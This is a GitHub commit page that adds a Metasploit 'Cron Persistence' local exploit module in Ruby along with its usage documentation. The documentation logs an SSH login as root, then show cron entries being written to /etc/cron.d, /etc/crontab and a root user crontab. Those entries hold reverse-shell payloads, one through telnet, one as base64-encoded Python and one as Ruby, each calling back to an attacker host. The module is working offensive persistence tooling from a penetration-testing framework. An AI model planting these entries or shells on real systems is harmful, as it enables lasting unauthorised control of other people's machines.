Skip to content

Commit 4b8f572

Browse files
author
h00die
committed
cron persistence
1 parent 718f36f commit 4b8f572

File tree

2 files changed

+287
-0
lines changed

2 files changed

+287
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
### Creating A Testing Environment
2+
3+
This module has been tested against:
4+
1. Kali Rolling
5+
6+
## Verification Steps
7+
8+
1. Start msfconsole
9+
2. Exploit a box via whatever method
10+
4. Do: `use exploit/linux/local/cron_persistence`
11+
5. Do: `set session #`
12+
6. Do: `set target #`
13+
7. Do: `set verbose true`
14+
8. Optional Do: `set username` (depends on target selection)
15+
9. Optional Do: `set cleanup false`
16+
10. Do: `exploit`
17+
18+
## Options
19+
20+
**username**
21+
22+
Set a specific user's crontab if target 'User Crontab' is selected
23+
24+
**timing**
25+
26+
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
27+
28+
**cleanup**
29+
30+
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. THIS WILL STOP THE PERSISTENCE!!!
31+
32+
## Scenarios
33+
34+
### Kali Rolling (root)
35+
36+
Initial Access
37+
```
38+
msf > use auxiliary/scanner/ssh/ssh_login
39+
msf auxiliary(ssh_login) > set username root
40+
username => root
41+
msf auxiliary(ssh_login) > set password password
42+
password => password
43+
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
44+
rhosts => 10.10.60.168
45+
msf auxiliary(ssh_login) > exploit
46+
47+
[*] 10.10.60.168:22 SSH - Starting bruteforce
48+
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
49+
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
50+
[*] Scanned 1 of 1 hosts (100% complete)
51+
[*] Auxiliary module execution completed
52+
```
53+
Run our module (Cron)
54+
```
55+
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
56+
msf exploit(cron_persistence) > set session 1
57+
session => 1
58+
msf exploit(cron_persistence) > set verbose true
59+
verbose => true
60+
msf exploit(cron_persistence) > set target 0
61+
target => 0
62+
msf exploit(cron_persistence) > exploit
63+
64+
[*] Started reverse double handler
65+
[*] Max line length is 65537
66+
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
67+
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
68+
[*] Waiting 90sec for callback
69+
[*] Accepted the first client connection...
70+
[*] Accepted the second client connection...
71+
[*] Command: echo xPBXQvodQdzgByKR;
72+
[*] Writing to socket A
73+
[*] Writing to socket B
74+
[*] Reading from sockets...
75+
[*] Reading from socket A
76+
[*] A: "xPBXQvodQdzgByKR\r\n"
77+
[*] Matching...
78+
[*] B is input...
79+
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
80+
[+] Deleted /etc/cron.d/FiThkldAZR
81+
```
82+
Run our module (System Crontab)
83+
```
84+
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
85+
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
86+
payload => cmd/unix/reverse_python
87+
msf exploit(cron_persistence) > set lhost 192.168.199.128
88+
lhost => 192.168.199.128
89+
msf exploit(cron_persistence) > set session 1
90+
session => 1
91+
msf exploit(cron_persistence) > set verbose true
92+
verbose => true
93+
msf exploit(cron_persistence) > set target 2
94+
target => 2
95+
msf exploit(cron_persistence) > set cleanup false
96+
cleanup => false
97+
msf exploit(cron_persistence) > exploit
98+
99+
[*] Started reverse handler on 192.168.199.128:4444
100+
[*] Max line length is 65537
101+
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
102+
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
103+
[*] Waiting 90sec for callback
104+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
105+
106+
```
107+
And since we didn't clean up, if our session dies...
108+
```
109+
^C
110+
Abort session 2? [y/N] y
111+
112+
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
113+
msf exploit(cron_persistence) > use exploit/multi/handler
114+
msf exploit(handler) > set payload cmd/unix/reverse_python
115+
payload => cmd/unix/reverse_python
116+
msf exploit(handler) > set lhost 192.168.199.128
117+
lhost => 192.168.199.128
118+
msf exploit(handler) > exploit
119+
120+
[*] Started reverse handler on 192.168.199.128:4444
121+
[*] Starting the payload handler...
122+
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
123+
```
124+
Run our module (User Crontab)
125+
```
126+
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
127+
payload => cmd/unix/reverse_ruby
128+
msf exploit(cron_persistence) > set lhost 192.168.199.128
129+
lhost => 192.168.199.128
130+
msf exploit(cron_persistence) > set session 1
131+
session => 1
132+
msf exploit(cron_persistence) > set verbose true
133+
verbose => true
134+
msf exploit(cron_persistence) > set target 1
135+
target => 1
136+
msf exploit(cron_persistence) > exploit
137+
138+
[*] Started reverse handler on 192.168.199.128:4444
139+
[*] Max line length is 65537
140+
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
141+
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
142+
[*] Reloading cron to pickup new entry
143+
[*] Waiting 90sec for callback
144+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
145+
```
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/post/file'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Msf::Post::File
13+
include Msf::Post::Unix
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Cron Persistence',
21+
'Description' => %q(
22+
This module will create a cron or crontab entry to execute a payload.
23+
The module includes the ability to automatically clean up those entries to prevent multiple executions.
24+
syslog will get a copy of the cron entry.
25+
),
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'h00die <[email protected]>'
30+
],
31+
'Platform' => ['unix', 'linux'],
32+
'Targets' =>
33+
[
34+
[ 'Cron', { 'path' => '/etc/cron.d' } ],
35+
[ 'User Crontab', { 'path' => '/var/spool/cron' } ],
36+
[ 'System Crontab', { 'path' => '/etc' } ]
37+
],
38+
'DefaultTarget' => 1,
39+
'Arch' => ARCH_CMD,
40+
'Payload' =>
41+
{
42+
'BadChars' => "#%\x10\x13", # % always seems to fail, # is for comments
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'generic perl ruby python'
47+
}
48+
},
49+
'DefaultOptions' => { 'WfsDelay' => 90 },
50+
'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation)
51+
)
52+
)
53+
54+
register_options(
55+
[
56+
OptString.new('username', [false, 'User to run cron/crontab as', 'root']),
57+
OptString.new('timing', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
58+
OptBool.new('cleanup', [true, 'delete cron entry after execution', true])
59+
], self.class
60+
)
61+
end
62+
63+
def exploit
64+
# https://gist.github.com/istvanp/310203 for cron regex validator
65+
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
66+
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
67+
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
68+
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
69+
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
70+
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
71+
unless datastore['timing'] =~ %r{#{cron_regex}}
72+
fail_with(Failure::BadConfig, 'Invalid timing format')
73+
end
74+
cron_entry = datastore['timing']
75+
if target.name =~ /User Crontab/
76+
unless user_cron_permission?(datastore['username'])
77+
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
78+
end
79+
else
80+
cron_entry += " #{datastore['username']}"
81+
end
82+
flag = Rex::Text.rand_text_alpha(10)
83+
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
84+
case target.name
85+
when 'Cron'
86+
our_entry = Rex::Text.rand_text_alpha(10)
87+
write_file(target.opts['path'] + "/#{our_entry}", "#{cron_entry}\n")
88+
vprint_good("Writing #{cron_entry} to #{target.opts['path']}/#{our_entry}")
89+
if datastore['cleanup']
90+
register_file_for_cleanup("#{target.opts['path']}/#{our_entry}")
91+
end
92+
when 'System Crontab'
93+
file_to_clean = "#{target.opts['path']}/crontab"
94+
crontab = read_file(file_to_clean)
95+
crontab << "\n#{cron_entry}\n"
96+
write_file(file_to_clean, crontab)
97+
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
98+
when 'User Crontab'
99+
file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['username']}"
100+
crontab = read_file(file_to_clean)
101+
crontab << "\n#{cron_entry}\n"
102+
write_file(file_to_clean, crontab)
103+
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
104+
# at least on ubuntu, we need to restart cron to get this to work
105+
vprint_status('Reloading cron to pickup new entry')
106+
cmd_exec("service cron restart")
107+
end
108+
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
109+
sleep(datastore['WfsDelay'].to_i)
110+
# we may need to do some cleanup, no need for cron since that uses file dropper
111+
# we could run this on a on_successful_session, but we want cleanup even if it fails
112+
if file_to_clean && flag && datastore['cleanup']
113+
print_status("Removing our cron entry from #{file_to_clean}")
114+
cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}")
115+
if target.name == 'User Crontab' # make sure we clean out of memory
116+
cmd_exec("service cron restart")
117+
end
118+
end
119+
end
120+
121+
def user_cron_permission?(user)
122+
# double check we're allowed to do cron
123+
# may also be /etc/cron.d/
124+
paths = ['/etc/', '/etc/cron.d']
125+
paths.each do |path|
126+
cron_auth = read_file("#{path}cron.allow")
127+
if cron_auth
128+
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
129+
vprint_good("User located in #{path}cron.allow")
130+
return true
131+
end
132+
end
133+
cron_auths = read_file("#{path}cron.deny")
134+
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
135+
vprint_error("User located in #{path}cron.deny")
136+
return false
137+
end
138+
end
139+
# no guidance, so we should be fine
140+
true
141+
end
142+
end

0 commit comments

Comments
 (0)